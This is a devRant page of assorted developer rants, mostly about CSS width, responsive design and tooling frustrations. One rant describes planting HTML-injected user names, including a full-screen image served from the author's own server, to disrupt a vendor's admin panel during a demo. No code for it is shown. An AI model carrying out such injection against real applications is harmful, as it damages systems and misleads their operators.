Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API
From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
-
preface: I'm fucking exhausted and angry.
Why does everyone assume I know how to do frontend?
Why am I always the design girl?
Why?
You hire me to do backend. STOP GIVING ME FRONTEND DESIGN CRAP. I HATE IT.
AND STOP GODDAMN YELLING AT ME FOR NOT MAKING SOMETHING RESPONSIVE.
I DON'T KNOW HOW.
yes i can learn, but I CAN'T FUCKING PICK UP A SKILL LIKE THAT IN A DAY. Also, I fucking hate it.
STICK IT UP YOUR (min-width: 1400px) ASS.
But seriously, I've spent 13 hours today figuring out completely new things (webpack, susy, express.js, cloudinary, responsive best practices, more webpack) because the boss is in panic-mode (his preferred state) and wants this project released last monday.
guess what? it isn't done.
because i still don't know how to do everything. and ofc there's nobody to ask because there never fucking is.
Seriously, boss-man. hire a fucking designer, and stop being an illiterate sales goon while you're at it. ffs.54 -
One of our web developers reported a bug with my image api that shrunk large images to a thumbnail size. Basically looked like this img = ResizeImage(largeImage, 50); // shrink the image by 50%
The 'bug' was when he was passed in the thumbnail image and requesting a 300% increase, and the image was too pixelated.
I tried to explain that if you need the larger image, use the image from disk (since the images were already sized optimally for display) and the api was just for resizing downward.
Thinking I was done, the next day I was called into a large conference room with the company vice-president, two of the web-dev managers, and several of the web developers.
VP: "I received an alarming email saying you refused to fix that bug in your code. Is that correct?"
Me: "Bug? No, there is no bug. The image api is executing just as it is supposed to."
MGR1: "Uh...no it isn't. Images using *your* code is pixelated and unfit for our site and our customers."
MGR2: "Yes, I looked at your code and don't understand what the big deal is. Looks like a simple fix."
<web developers nodding their heads>
Me: "OK, I'll bite. What is the simple fix?"
<MGR2 looks over at one of the devs>
Dev1: "Well, for example, if we request an image resize of 300, and the image is only 50x50, only increase the size by 10. Maybe 15."
Me: "Wow..OK. So what if the image is, for example, 640x480?"
MGR1: "75. Maybe 80 if it's a picture of boots."
VP: "Oh yes, boots. We need good pictures of boots."
Me: "I'm not exactly sure how to break this to you, but my code doesn't do 'maybe'. I mean, you have the image from disk.
You obviously used the api to create the thumbnail, but are trying to use the thumbnail to go back to the regular size. Why not use the original image?"
<Web-Dev managers look awkwardly towards the web devs>
Dev3: "Yea, well uh...um...that would require us to create a variable or something to store the original image. The place in the code where we need the regular image, it's easier to call your method."
Me: "Um, not really. You still have to resolve the product name from the URL path. Deriving the original file name is what you are doing already. Just do the same thing in your part of the code."
Dev2: "But we'd have to change our code"
Mgr2: "I know..I know. How about if we, for example, send you 12345.jpg and request a resize greater than 100, you go to disk and look for that image?"
<VP, mgrs, and devs nod happily>
Me: "Um, no that won't work. All I see is the image stream. I have no idea what file is and the api shouldn't be guessing, going to disk or anything like that."
Dev1: "What if we pass you the file name?"
<VP, mgrs, and devs nod happily again>
Me: "No, that would break the API contract and ...uh..wait...I'm familiar with your code. How about I make the change? I'm pretty sure I'll only have to change one method"
VP: "What! No...it’s gotta be more than that. Our site is huge."
<Mgrs and devs grumble and shift around in their chairs>
Me: "I'm done talking about this. I can change your code for you or you can do it. There is no bug and I'm not changing the api because you can't use it correctly."
Later I discovered they stopped using the resize api and wrote dynamic html to 'resize' the images on the client (download the 5+ meg images, and use the length and width properties)23 -
Who knew, Usb and rj45 are the same width? Not me after spending 10 mins trying to work out why mouse not working.
19 -
Art director said: "Please make everything smaller?"
Developer: "Everything?"
Art Director: "Yes everything. Font size, panel height, panel width, input height and width, photos, headers, paragraphs, everything"
Developer: "ctrl + '-' will that work?"10 -
Some dumb puns to cheer you up after reading/ranting about "part of your workflow you dislike"
#tower-of-pisa {
font-style: italic;
}
#titanic {
float: none;
}
.yomama {
width: 99999999px;
}
.ikea {
display: table;
}
#bigbang::before {
content: " "
}
.illuminati {
position: absolute;
visibility: hidden;
}
I'd rate these horrible puns a C++20 -
Changed width:600px to width:500px
git commit - m "optimized responsivity for enhanced mobile experience"3 -
Just before you, my fellow system programmer, scroll past this, let me say this:
🍬 The web is actiually simple. 🍬
Both HTML and CSS is declarative. It's all easy when you understand the concepts, learn how to be idiomatic and quit trying to do that imperative bullshit in languages that aren't imperative.
HTML is simple. You know the boilerplate: doctype, head, body, that's all. Just mark it up and do NOT look at it before you end, mark it up as it were article or something. The appearance is up to css.
CSS is simple. You may even forget bem or rscss, you're already a skilled software developer. Use common sense and your code-splitting and naming skills you gained reading The Code Complete or doing software development for years.
Forget mockups. Forget absolute positioning, forget setting width and height in pixels. Go to awwwards, find some inspiration. Draw some buttons and fields on paper with your good old pencil. Then go and write some css. Feel free to steal some shadows and transitions from codepen.
Read about 8-pixel grid system. Let every element push away from others by setting something like margin: 16px; and whoops! You've just got fully responsive and got great vertical rhythm without even using media queries!
Oh my god, do NEVER set width and height explicitly! Type something like button { width: 120px; } and bang! The entire web page is broken. Quit that shit. Let it resize as it should. It will resize itself to fit its contents.
HTML is by default ready for your template engine. That's how you receive data from server — as server-side rendered, plain old HTML page. On the other hand, the form element is the most axiomatic and simple way to send the data to server. That's how you send it — as plain old GET or POST that every webserver can handle.
All of there are true:
1. It's easy to get great 100% responsiveness without media queries.
2. It's easy to align items in row, it's just one line of css. Maybe two, if you still want elements to wrap, but want to use flexbox:
.parent {
display: flex;
flex-wrap: wrap;
}
3. HTML and CSS are fast by default.
4. You don't need mockups to achieve great visual experience. Mockups is imperative, web is declarative.
5. You may not even need JavaScript to make great website.
Go on, ask me a question about web! I'll ready to answer everything.21 -
PM: We really need to solve this problem fast...
Me: So you want me to solve the element width or to reimplement the template?
PM: Yes! (and leaves before I can say anything)
Me: *poker face*4 -
I am backend + a bit devops
8 months I worked with front-end person in react.
8 months he was telling me.. git usage is not needed for front. There is no need for that, it is not like back.
Recently he made refactorization in a week time, this idiot did not do even single commit in the process.
4 months he was telling me, testing is not needed in front. Even if the work is complete, there is no point to cover with testing.
Today I heard from him, adaptive web design is impossible to do in css only, it needs having javascript to control right height and width size for elements.
At last. I got freed from him. He got fired.5 -
Today was fucking awesome!
I always wanted to do a project in C++ since I've been more of a Java guy for years now.
And today, I finally wrote a full console program in C++! (For windows, it's a .exe)
The purpose of that program is to show if a file has a file lock on it (because of copying for example).
It started as simple as that, but got complicated quickly:
- It needs colors! So I added colors.
- Just a single file? Boring. I need wildcards, so I can put a * for anything in the file name! Jup.
- Just one directory? Boring. I need a recursive directory walk! Got it.
- But wait! There has to be an option to switch between recursive and wildcard/single mode! So I checked if the first argument equals "-r"! Hacky but works.
- Oh uh... that spams a lot now! The purpose was to show locked files, so I need another argument to specify that I only want to see locked files! Damn now it get's hard... I need a Linux-like command line argument parser (this -h and -s "hello" stuff). So I took the opportunity to write one myself! Done.
- Refactoring everything to use my new fancy parser...
- Adding more and more arguments, just because I can:
- "-d" hides "access denied" messages
- "-l" shows only locked files
- "-r" activates recursive directory walk
- "-f" formats everything nicely, basically printf("%-150.150s | %s", filename, locked); a maximum width which get's truncated if too long so everything lines up nicely
- "-h" which of course displays the help page
- "-w file" watches a file, if the file is locked it will refresh every 500ms, if it's still locked nothing happens, if it's unlocked, the program prints "unlocked" in green and exits. And yes, it does have a rotating line (something like this: "-" "\" "|" "/" "-" and so forth...)
That project was just awesome to make. I learn languages fastest if I just do a big project in them, and today, I really learned a lot.
Thank you for reading all this!3 -
November 2015 - Android users: "How stupid are Apple fan boys paying $100 for a stylus?"
October 2017 - Google releases $100 Pixelpen.
September 2016 - Android users: "OMG! Apple removed the headphone jack! You will have to use a DONGLE! That is ridiculous!"
October 2017 - Google announces Pixel 2 width USB-C for charging and audio playback. Includes a USB-C to 3.5mm audio dongle.19 -
Yes, yes, you have waited long for it.
Thanks to the contribution of @Etnath , now devBanner has a custom width feature!
You can select width between 128px ~ 2048px, and the height will automatically be calculated based on the selected width.
You can create your own banner now, by clicking this link : https://devbanner.center
Happy creating!
~devBanner Team
40 -
I got a design from designer on making a website. I made it responsive all the way to screens as wide as 2000px.
Designer: Why didn’t you follow my design. The site is so wide now on my screen. Can you follow my design?
Me: So limit the site to a max width of 700px as per you design.
Designer: yes please
Me: ok.
[ A week later]
Designer: Just checked out the site on a wide screen. It looks so empty. Can we do something to make the content fit to the window so it looks less empty on a wide screen?
Me: 🤨🖕🏽6 -
Here are the reasons why I don't like IPv6.
Now I'll be honest, I hate IPv6 with all my heart. So I'm not supporting it until inevitably it becomes the de facto standard of the internet. In home networks on the other hand.. huehue...
The main reason why I hate it is because it looks in every way overengineered. Or rather, poorly engineered. IPv4 has 32 bits worth, which translates to about 4 billion addresses. IPv6 on the other hand has 128 bits worth of addresses.. which translates to.. some obscenely huge number that I don't even want to start translating.
That's the problem. It's too big. Anyone who's worked on the internet for any amount of time knows that the internet on this planet will likely not exceed an amount of machines equal to about 1 or 2 extra bits (8.5B and 17.1B respectively). Now of course 33 or 34 bits in total is unwieldy, it doesn't go well with electronics. From 32 you essentially have to go up to 64 straight away. That's why 64-bit processors are.. well, 64 bits. The memory grew larger than the 4GB that a 32-bit processor could support, so that's what happened.
The internet could've grown that way too. Heck it probably could've become 64 bits in total of which 34 are assigned to the internet and the remaining bits are for whatever purposes large IP consumers would like to use the remainder for.
Whoever designed IPv6 however.. nope! Let's give everyone a /64 range, and give them quite literally an IP pool far, FAR larger than the entire current internet. What's the fucking point!?
The IPv6 standard is far larger than it should've been. It should've been 64 bits instead of 128, and it should've been separated differently. What were they thinking? A bazillion colonized planets' internetworks that would join the main internet as well? Yeah that's clearly something that the internet will develop into. The internet which is effectively just a big network that everyone leases and controls a little bit of. Just like a home network but scaled up. Imagine or even just look at the engineering challenges that interplanetary communications present. That is not going to be feasible for connecting multiple planets' internets. You can engineer however you want but you can't engineer around the hard limit of light speed. Besides, are our satellites internet-connected? Well yes but try using one. And those whizz only a couple of km above sea level. The latency involved makes it barely usable. Imagine communicating to the ISS, the moon or Mars. That is not going to happen at an internet scale. Not even close. And those are only the closest celestial objects out there.
So why was IPv6 engineered with hundreds of years of development and likely at least a stage 4 civilization in mind? No idea. Future-proofing or poor engineering? I honestly don't know. But as a stage 0 or maybe stage 1 person, I don't think that I or civilization for that matter is ready for a 128-bit internet. And we aren't even close to needing so many bits.
Going back to 64-bit processors and memory. We've passed 32 bit address width about a decade ago. But even now, we're only at about twice that size on average. We're not even close to saturating 64-bit address width, and that will likely take at least a few hundred years as well. I'd say that's more than sufficient. The internet should've really become a 64-bit internet too.34 -
Fucking evopdf, I spent 2 days trying to figure out why the fuck my js isn't rendering the html for printing. I created the structure in html already, and it's rendered perfectly with js DOM, when evopdf ran from backend it shows nothing, tried not using external script, tried to put value one by one, it works, my css is also broken, thanks fucker, the client only asked to directly download the html page instead of save as PDF. I thought why the fuck not?
evo pdf modified my CSS element for some odd reason, flex and grid got messed up, page width also fucked along with font size, doesn't support some javascript function. I shit you not the .after and let doesn't work. Fucking garbage
Edit: it worked now, but I spend hours today rewriting everything just to looks decent and it still looks like shit fml6 -
Whoever implemented the data import in Numbers on Mac needs to be lined up against a wall and shot with needles until they wish they were dead.
Why on all of gods unholy green and shitty earth would i want data i import (EVEN IN CSV FOR FUCK SAKE) to be delimited by an arbitrary text width? WHAT THE ACTUAL FUCK
WHY WHY why would I EVER want to delimit my carefully structured data by fucking text width instead of new line or comma? AAAAARRRHHH
And what fucking big brain genius made this the DEFAULT SETTING for imported text AND CSV FILES. IT STANDS FOR COMMA SEPARATED FILE YOU FUCK BOI MAYBE JUST MAYBE I WANT IT SEPARATED BY FUCKING COMMMMMMMAAAAASSSSSS9 -
A day of an iOS developer life:
1. XCode crashed
2. XCode freeze
3. XCode "Jump to Definition" takes me to a different file that has the exact same variable name instead of jumping to the top of the file
4. XCode Storyboard designer throwing 1000000000 as UIStackView width on a newly created UIView
5. Heart attack
6. Lots of depression
** Note:
just noticed devRant web has xcode as placeholder in the tags box lol devRant knows my pain T_T8 -
You don't need to crop that full resolution Shutterstock image, just use max width 100%
Image size: 7+mb3 -
Customer: Can you do a database query for me?
Me: Made the query and send them the result as a csv-file.
Customer: Is it possible to send it as an excel-worksheet because the columns don't have the right width.
Me: Resize the columns to the right width, saved it as xlsx-file and send it back.5 -
An excerpt from the best rant about whiteboard interviews posted on the internet. Ever.
"Well, maybe your maximum subsequence problem is a truly shitty interview problem. You are putting your interview candidate in a situation where their employment hinges on a trivia question. — Kadane's algorithm! They know it, or they don't. If they do, then congratulations, you just met an engineer that recently studied Kadane's algorithm.
Which any other reasonably competent programmer could do by reading Wikipedia.
And if they don't, well, that just proves how smart the interviewer is. At which point the interviewer will be sure to tell you how many people couldn't answer his trivially simple interview question.
Find a spanning tree across a graph where the edges have minimal weight. Maybe one programmer in ten thousand — and I’m being generous — has ever implemented this algorithm in production code. There are only a few highly specific vertical fields in the industry that have a use for it. Despite the fact that next to no one uses it, the question must be asked during job interviews, and you must write production-quality code without looking it up, because surely you know Kruskal’s algorithm; it’s trivial.
Question: why are manhole covers round? Answer: they’re not just round, if you live in London; they're triangular and rectangular and a bunch of other shapes. Why is your interview question broken? Why did you just crib an interview question without researching whether its internal assumption was correct? Do you think that “round manhole covers are easier to roll" is a good answer? Have you ever tried to roll an iron coin that weighs up to 300 pounds? Did you survive? Do you think that “manhole covers are circular so that they don’t fall into manholes” is a good answer? Do you know what a curve of constant width is? Do you know what a Reuleaux triangle is? Have you ever even been to London?
If the purpose of interviewing was to play stump the candidate, I’d just ask you questions from my area of specialization. “What are the windowing conditions which, during the lapping operation on a modified discrete cosine transform, guarantee that the resynthesis achieves perfect reconstruction?” The answer of course is the Princen-Bradley condition! Everyone knows that’s when your windowing function satisfies the conditions h(k)2+h(k+N)2=1 (the lapping regions of the window, squared, should sum to one) and h(k)=h(2N−1−k) (the window should be symmetric). That’s fundamental computer science. So obvious, even a child should know the answer to that one. It’s trivial. You embarrass your entire extended family with your galactic stupidity, which is so vast that its value can only be stored in a double, because a float has insufficient range:"
Author: John Byrd
Src: https://quora.com/What-is-the-harde...3 -
Here is a preview of my Python devRant client
The client supports both CLI and GUI modes.
This is the CLI mode using the rant command.
CLI mode currently supports dynamic importing of custom commands (and creating your own command is documented already too).
If you do not like my rant command? Download or make another one.
Also, the command execution, import, and registration process all send events to the application object. This is in preparation for allowing mods!
Unfortunately, emojis are technically 2-width, so they totally fuck up the box I draw around the rant. Lots of work to do, but I was pleased with my first visual payoff today.
12 -
I'm internally moved from envy feelings against the very first users of StackOverflow.
The ones that got tens of thousands of upvotes for questions like "how to set the width of a div element?"3 -
Long rant...
*Designer Posted image of newly designed layout for our app on trello.
Dev 1 (me, being the junior, on ios) : so... What's the size for x, Y, z, a, B, C?
She: it's 9 for the small text, 10 for sub title, 12 for main title.
*shows her the design on app
Dev 1: seems too small
She: just make it to look not small.
Dafug?
*finishes the app layout for that screen.
*working on next screen
Dev 1: your new design is for the screen of 1920x1080. But our supported screen size starts from 320 width. So there'll be text overlapping each other and ui might screw up.
She: uh.. Just... Put those that will overlap to the next line.
*shrugs
Dev 1: ok
=======
2 days later
Dev 2 (senior, working on Android)
Dev 2: so... What's the colour for x, Y, z
*Dev 1 laughs on the inside because of the struggles we have with her.
Dev 1 to Dev 2: is it common for her not to follow the design guidelines?
Dev 2: yeah man.. We just have to adapt her design into our app guidelines.
*sigh
Dev 2: there's a new icon here on this screen, so you wanna change the icon? Can I have the icon file?
She: oh.. No.. Use back the old one, because I just copy and paste.
Dev 1: so... This progress bar of yours, doesn't show its background colour, because you filled it already. So what's the background colour if the bar isn't filled?
She : hmm.... Oh.. Well.. Maybe try x.. ? *doesn't look nice* how about Y? *doesn't look nice* how about...
Me : why not you try in your computer first instead of me changing it here by code, it's much faster this way.
*seriously, wth?
Dev 1 and 2: there's additional text in your new design, what is it for?
She : oh.. No no. I copied extra due to copy and paste. Just ignore it.
Dev 1 and 2: what's the spacing gap between x and Y? And how about the size of the box?
She : oh.. I just estimate it, and for the box, not sure either, you can follow old design, because I'm just putting a box there for illustration purpose.
Mother fickle, what fuck man.
Dev 1 and 2: *flips table.
*we didn't, but.. It's freaking annoying.7 -
Why does CSS never work the way you'd expect? All I want to do is align something to the bottom of a div. No. Will not happen. You'd think it might be something simple as 'v-align' or 'align: bottom' or 'fucking put it at the bottom: now;'
No, it's never that simple. I try every result I can find from googling. Nothing. Simply does not work.
How about trying to keep a div to a square when you resize the page? That should be simple? height = width right? Fuck you. Ha hahah, no you have to implement some horrendous arcane hack involving fake elements and other bullshit.
You finally fix one thing and everything else you had working is now broken.
...and then some fuckwit comes along and goes "Oh, CSS isn't hard..." and it takes everything you have not to beat them to death with your rubber duck.
What the hell is wrong with CSS? It's not even programming! It's just pure, sadistic hell! FUCK CSS!!!!14 -
PM+UX: The boxes must stretch to fill the all the available width with no spaces in between, they must wrap to the next line, be 200px wide...sometimes.... and there should be no scroll bars all at the same time.
Me:so you want magic boxes that can just do whatever your thinking with no real logic defined...?1 -
So we ordered a piece of software from external software house becouse I was low on time and we needed it asap.
So. Long story short, their software was bugged as hell, they deny all the bugs and they have their BDD that they done and anything we say about it like "feature XYZ is broken on firefox" they will deny it "becouse it wasn't on BDD" or "let's get on call" (in which +- 6-7 people participate from their side and we of course have to pay them for this...)
So they fixed like 20% of bugs (mostly trivials/minors) Application is fairly small scope. You have integration with like 3 endpoints on arbitary API, user registration/login, few things to do in database (mainly math running from cron).
They done it in ASP so I don't know the language and enviroment so can't just fix it myself.
2 days ago (monday) they annoyed me to point where I just started to break things. For starters I found that every numeric input is vunrable to integer overflow (which is blocker). I figured most of fields are purefect opportunity to XSS (but I didn't bother to do JS... anything but not JS...). I figured I can embed into my name/surname/phone (none validated) anything in HTML...
So for now we have around 25 bugs, around 15 of them are blockers.
They figured it's somehow our fault that it's bugged and decided to do demo with us to show off how perfectly it works. I'm happy to break their demos. I figured I will register bunch users that have name - image with fixed/absolute position top:0;left:0 width/height 100% - this will effectively brick admin panel
Also I figured I can do some addotional sounds in background becouse why not. And I just dont know what to put in. It links to my server for now so I can freely change content of bricked admin panel.
I have curl's ready to execute in case they reset database.
I can put in GIFs or heck, even videos, dosen't really matter. Framework escapes some things for them so at least that. But audio/image/video works.
Now I have 2 questions:
- what image + audio combo will work the best (of course we need to keep it civil). Im thinking finding some meme with bugs or maybe nuclear logo image with some siren sound
- am I evil person?
Edit:
I havent stated this clearly:
"There is no BDD that describes that if user inserts malicious input server should deny it" - that's almost literally what we get from them....11 -
I really need to learn to think through how many stitches I’m putting into the first row of a project.
- Takes over an hour to do one row
- Already used more than 2k yards on it and it’s not even short blanket length yet (though width is ridiculous)
11 -
!rant && Announcement
The closed beta for the new DEVRANT TOOLBOX is starting for chrome users.
The Toolbox is an UNOFFICIAL web extension for Chrome and Firefox.
Additional features:
- Compact mode: reduced image height in the feeds
- Extended page navigation controls for feeds
- Timestamps for rants
- Image preview on mouseover
- Autoreload for the recent feed (180 sec)
- Highlighting new rants after a reload (recent feed only, see screenshot)
- Highlighting own rants (inside feeds) and comments (inside rants)
- Hiding personal scores (still visible by mouseover) and share buttons inside rants
- Colored notifs (different colors for the notif types)
- Notifs with clickable usernames: a click will open the rant AND the username (in a different tab)
- 3 additional Themes: Black, Monochrome, Dark blue
(Next themes to come: solarized light and dark)
- Global history.back on rightclick (for faster navigation)
- Increased feed width (see screenshot)
- Plain background (just the feed on screen)
- Weekly rant
All features can be switched on/off.
The weekly rant is a temporary feature. It uses the devrant api.
I will remove it when that feature is added to the original devrant webfeed.
@dfox: If you dont like the use of the api or some of the features please contact me.
Chrome users can join this group to get the beta:
https://groups.google.com/forum/...
I NEED SOME FEEDBACK!!!
Therefore a feedback is my term of use.
Please post it as a comment (or in the google group).
7 -
!rant
So nearly done with the work app and I need these images scaled accurately (it's for comparing pupils) my problem is I'd normally ask my brother to make the images but he is busy with uni for the next few weeks.
I'm just wondering is there a tool I can use that can rescale images (I have images from the iPhone app, and I gotta say I had to add in % changes despite the proper dpi sizing), I'm looking at the Android documentation but what's funny is in the listed resolutions OnePlus 3 wasn't included (along with some other newer resolutions) lol, and also Wikipedia for OnePlus 3 has the width and height switched (for some reason the author imagined the phone is also in landscape lol).
So do you guys know of something I can use? Programming is one thing but designer is another :/4 -
I can type blind since elementary school with above average accuracy...
Yet i will never be able to write "width" without writing "widht" 2 times first2 -
you fucking idiots
why do you always base your library components on some dumbass clown fixed width / height system?
everything should be flex by default, anything else is absolute amateur clown town pile of dumbass horseshit...
...i'll brawl and take down anyone who says otherwise
you waste my time, you waste other's time, when everyone has to go hunting around for your stupid library's unorthodox way of styling
thanks again for wasting and making my evening a living hell7 -
Fucking Apple products fuck xcode fuck all ishit!
Wrapped my views in a UIStackView in storyboard designer and xcode gave it a width of 8,000,000 and height of 3,000,000
6 -
Me: *builds smol website for blogging purposes*
...
Hmm 🤔 so I need to be able to find a way to display properly to mobile clients as well, the desktop style is shite on my phones... How about going for all-screen and less than 1440px width? I mean there don't exist any phones with over 1440px width and I'm sure that everyone is now using 1920px width on their desktop panels (please keep the portrait desktop monitor setups out for now 😢)... Aight, looks nice now in both desktop and mobile. Awesome!
Few days later...
Le Telegram inbox: *ping*!
User: um yeah your font is way too large
Me: *looks at screenshot* (at least it was an actual screenshot, not a picture) well that's the mobile view.. why are you using that, what's your resolution?
User: 1024x768
*Facepalm.jpg*
Why are you doing this to yourself and why are you doing this to me 😭21 -
We might achieve world peace one day and still won't have agreed over indentation.
Indentation = TAB. Just 1 character (N spaces = N characters = more disk space, duh!). And then each dev can chose their own TAB width (in spaces) in their IDE of choice. Beautiful.
11 -
Well here's my new setup.
My desk wasn't big enough width wise, so instead of buying another one, I just cut some wood to be longer. Gotta improvise 🤷🏻♂️🤷🏻♂️
Just got the monitor today. Next item is a mechanical keyboard.
I'll post one with the lights off so the RGB LEDs are a bit more visible.
13 -
I need bleach...
Lot of bleach.
When you think that not using a JS framework is bad...
Ever saw a Frankenstein of a HTML, PHP and JQuery? Full rewrite of an old project with more than enough time allowed....
Just... That was not awful enough.
*sobs* so the dev added bootstrap onto this pile of garbage... Instead of rewrite....
Think I missed CSS or included it in HTML? Lol. No.
No CSS. Inline. HTML 4 Tags.
?>
<table width=40 class="table table-striped">
<?php
foreach( $table as $row ) {
....
<input onkeyup="..." onkeydown="..." class="form-control"
...
To give you a basic example of how worse it is...
But the best. The lead developer does not understand why I was speechless.
i need more beer. And bleach. Filth and disgust must get out of my system2 -
Hey Designer/Developers, I got a question for you. Yeah, you 👇🏽
When working on a project codebase that is expected to grow and evolve heavily. How do you usually split up your CSS (SASS, LESS etc) in a good way to take into account all the different device sizes?
I am not asking how it is done but more about the design of the code. This would be for a production codebase to be released.
Do you use large blocks broken down by media...
(Media width) {
~site code
}
(Other media) {
~same site code with diff sizes
}
Or do you do individual media queries inside css classes...
.className {
(Media size) {
}
(Other media) {
}
}
Or a mixture of both?
If it is a mixture of both then how do you decide which way to go about structuring the code.
I have been endeavouring to greatly improve my CSS and have done so. But this question has been bugging me. Both sides seem to be a bit sloppy and my programmer side is fighting the repeatitipve code.
Note: all code examples are gibberish and only intended for visualization.17 -
css quick maffs
so you did this:
.foo:hover {
transform: scale(1.1);
}
and now ugly scrollbar is there when the element is scaled.
No, don't do overflow: hidden. There's a better way. Instead, do this:
.container {
padding: 1rem;
box-sizing: border-box;
}
the element total width is calculated based on the width of its content. That's true unless you specified width and height explicitly (if you did so, you're a doofus, I'm sorry).
Scaling makes content somewhat larger. With border-box, paddings work differently with the total width.
By default, if you set width to say 100px, and paddings are 20px, total width will be 140px — it's your 100px of content plus two paddings of 20px. width property set the width of the content, not the total width.
With border-box, width property sets the total width. So if you set width to 100px and paddings to 20px, total width would be 100px, just like you set it, and content will be 60px wide — it's 100px minus 20px times two.
The key part is it doesn't end with explicit width. The algorithm remains. When some node is rendered, its total width is calculated. When you use border-box, the total width will stay the same even if your content grows by some value that is less than your paddings. So, your content was 100px, you scaled it, and it became 110px. Well, then that extra 10px will be subtracted from your paddings, and they will be 15px each instead of 20px.
No more ugly scroll bar. Yaaay!
aight bye8 -
Ladies and gentlemen.
I wanna introduce you one of the best tools on the market. My latest and greatest creation.
Da Notch (TM)
Have you ever thought "Damn, I would like to have this notch like iPhone X, but on my pc"? Well lucky you! With Da Notch (TM) you can bring iPhone X notch to your Windows machine! You can even change it's width with simply left clicking on it and using your scroll wheel. Isn't that great?
Get it here! https://gitlab.com/aathlon/...
8 -
In case you and your friend are bored,
Here's how to have fun :
0)Have Linux installed
1)Grab as many monitors as possible me( and my friends connected 4)
2)Open a shell
3)Drag it all the way across all your screens width (basically open a terminal of width 4 screens in my case)
4)Run "sl"
Profit.
I can't really show how it looked like because it's a long video and can't attach here
Do try it out though.9 -
sends me a "screencap.avi" on slack. I download and open it, and it's a video of an IE bug where the width of the scroll bar itself takes up just enough that the content gets enough height to trigger a scroll bar to appear, so the whole page keeps twitching because the scroll bar keeps appearing and disappearing every second. LMAO FML FUCK IE7
-
CSS quick maffs:
Using viewport units to define font size but sometimes it's too small?
Instead of font-size: 10vw;
use font-size: calc(10vw + 20px);
This will make sure that font size is AT LEAST 20 px no matter the viewport width. Treat the resulting font size like a function of viewport width and feel free to experiment with it. With calc in that case you can achieve the best typeface responsiveness possible.13 -
ATTENTION @dfox!!!!
I found a bug in the devRant REST server. When you upload a rant with a vertical image (when the height is bigger than the width), the server seems to flip between the width and the height (I don't know if it happens all the time), and when I fetch the rant, the JSON data for image width and height is flipped! (in the JSON, the attached image section contains width and height information about the image, and they are flipped in their values, meaning that the width key is equal to the height, and the height key is equal to the width).
An explanation on the image below:
The small window on the left shows the real info about the image. Notice how the height is 800 and width is 600.
The window at the bottom shows the data fetched from devRant servers. Notice how the width returned from the server is 800 and the height returned from the server is 600.
22 -
Eeeeh... Thanks for saving me Gimp XD
(says that I am trying to create an image that will be 155,8GB)
I just casually squared one equation by entering the final value into both width and height values, oops :D
13 -
When the so called "css expert" ask you why you're implementing so many things in @media all and (max-width: 800px) because it "doesn't change anything"
I had to teach him about responsive web design and chrome developer tools mobile emulation...3 -
CSS quick maffs
You need to make a responsive grid that should wrap its columns on smaller screens. That's whay you do:
.grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(15rem, auto));
}
Replace 15rem with minimal width of a grid cell. Putting 0 there is bad because columns won't wrap then.
Now, let's make our task harder. We want the same grid, but we want say 4 columns max. That's what we should do:
.grid {
--columns: 4;
display: grid;
grid-template-columns: repeat(auto-fill, minmax(max(15rem, (100% - (var(--columns) - 1) * 1rem) / var(--columns)), 1fr));
}
--columns regulate the maximum amount of columns we can have.
Aight bye4 -
<meta name="viewport" content="width=device-width, initial-scale=1">
After trying to figure out why the examples were working on the site, but not on my page, finding out this was the problem left me with one reaction:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH1 -
Dear Tailwindcss,
Fuck you.
Fuck you and your messy as fuck html files.
Fuck your shitty pseudo 90s 'Let's dump all our shit in a single html file'.
Fuck your claims of being responsive, most of your widths and heights are done in FUCKING PIXELS.
Fuck your claims of being flexible, adding a 10% width class took 20 minutes of scrolling through your shitty docs.
And the worst part is, the poor devs 4 years from now are gonna be stuck maintaining this goddamn shit because shitty enterprise companies desperately trying to stay relevant are treating this shit like the Holy God of Frontend styling, the solution to CSS once and for all
FUCKING IDIOTS CSS ISN'T BROKEN, THIS GARBAGE IS!!!! WE DON'T NEED A SHITTY SOLUTION TO A PROBLEM THAT DOESN'T EXIST
Tailwind can go fuck itself with it's 200 character html lines9 -
I am working on an open source game project, and the most common way to draw things is using a class named ManagedSurface. The class is otherwise awesome, but it has a method called getBasePtr(x, y), which gives you a pointer to the requested coordinates. Fair enough (this is C++ without STL by the way).
But WHY THE HELL CAN I REQUEST ANY POINTER THAT I WANT, EVEN IF IT'S OUTSIDE THE SURFACE? Other cointainers have sanity checks, asserts and such, and the surface KEEPS TRACK OF IT'S WIDTH AND HEIGHT.
WAS IT SO FUCKING HARD TO ADD assert(x <= w); assert(y <= h);???
I spent 3 days on valgrind trying to find a heap corruption that manifested at random points in the code.
FUUUUCK!
On the bright side, I learned how to use valgrind (which is awesomely awesome).4 -
The new iPhone is gonna have an odd number of pixels in width. I can already feel the anxiety of trying to achieve pixel perfection.7
-
Look, I don't really mind much whether you use tabs or spaces. But for FUCK'S sake, for the LOVE OF FUCK:
IF YOU USE TABS, DON'T TRY TO LINE UP PARTS OF YOUR CODE WITH SOMETHING ON THE LINE ABOVE BECAUSE IT WILL GO TO SHIT WHEN SOMEONE ELSE HAS A DIFFERENT TAB WIDTH SETTING.
YOU DRIBBLING FUCKPUPPET.3 -
You would think that by now designers would realize that when they are designing a web page at a width of 1600px that it is going to look significantly different on a really large screen...6
-
Fuck you ios,storyboad,xibs,xcode. FUCK OFF!! YOU FUCKING ASSHOLES. Literally giving me migrane with your fucking ass constraints!! Fuck you xcode for not having a terminal. Ios is utterly bullshit. Has fucking all kind of devices that I have to set constraint. Fuck you macos. You are slower than a snail. How on earth do you take so much time to build!!
Width, height, constraints, my ass! What is this fucking logic bro. Fuck you apple for making so many device of different sizes and then hiring us to set constraints. Warning warning warning oh what a load of crap!
I would rather die than set your fucking ass constraints.7 -
Unicode I love you!
Who the hell invented the unicode character 'ZERO WIDTH SPACE'
https://fileformat.info/info/...
6 -
dear deutsche bahn developers: please review you handling for dynamic contents width. yours sincerely
ps. riding in a full train and not enough space to handle my computer is boring.
5 -
just spent 2-3 hours trying to make a slideshow responsive for mobiles.
